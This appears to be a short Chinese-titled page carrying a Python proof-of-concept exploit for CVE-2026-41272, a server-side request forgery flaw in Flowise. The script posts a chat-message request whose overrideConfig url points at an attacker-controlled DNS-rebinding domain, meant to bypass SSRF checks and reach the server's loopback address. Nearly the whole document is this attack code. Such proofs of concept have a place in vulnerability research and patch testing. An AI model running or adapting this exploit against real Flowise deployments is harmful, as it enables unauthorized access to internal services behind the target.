CVE-2026-41272 Flowise SSRF漏洞

import requests def exploit_ssrf(target_url): """ PoC for CVE-2026-41272: Flowise SSRF via DNS Rebinding This script demonstrates sending a request that attempts to bypass SSRF checks. """ # The vulnerable endpoint usually accepts a URL parameter url = f"{target_url}/api/v1/chat-message" # Example endpoint # Attacker controlled domain that supports DNS Rebinding # 1. Resolves to safe IP initially # 2. Rebinds to 127.0.0.1 upon second request malicious_domain = "http://attacker-controlled-dns-rebind.com" payload = { "question": "test", "overrideConfig": { "url": malicious_domain } } try: response = requests.post(url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_ssrf("http://localhost:3000")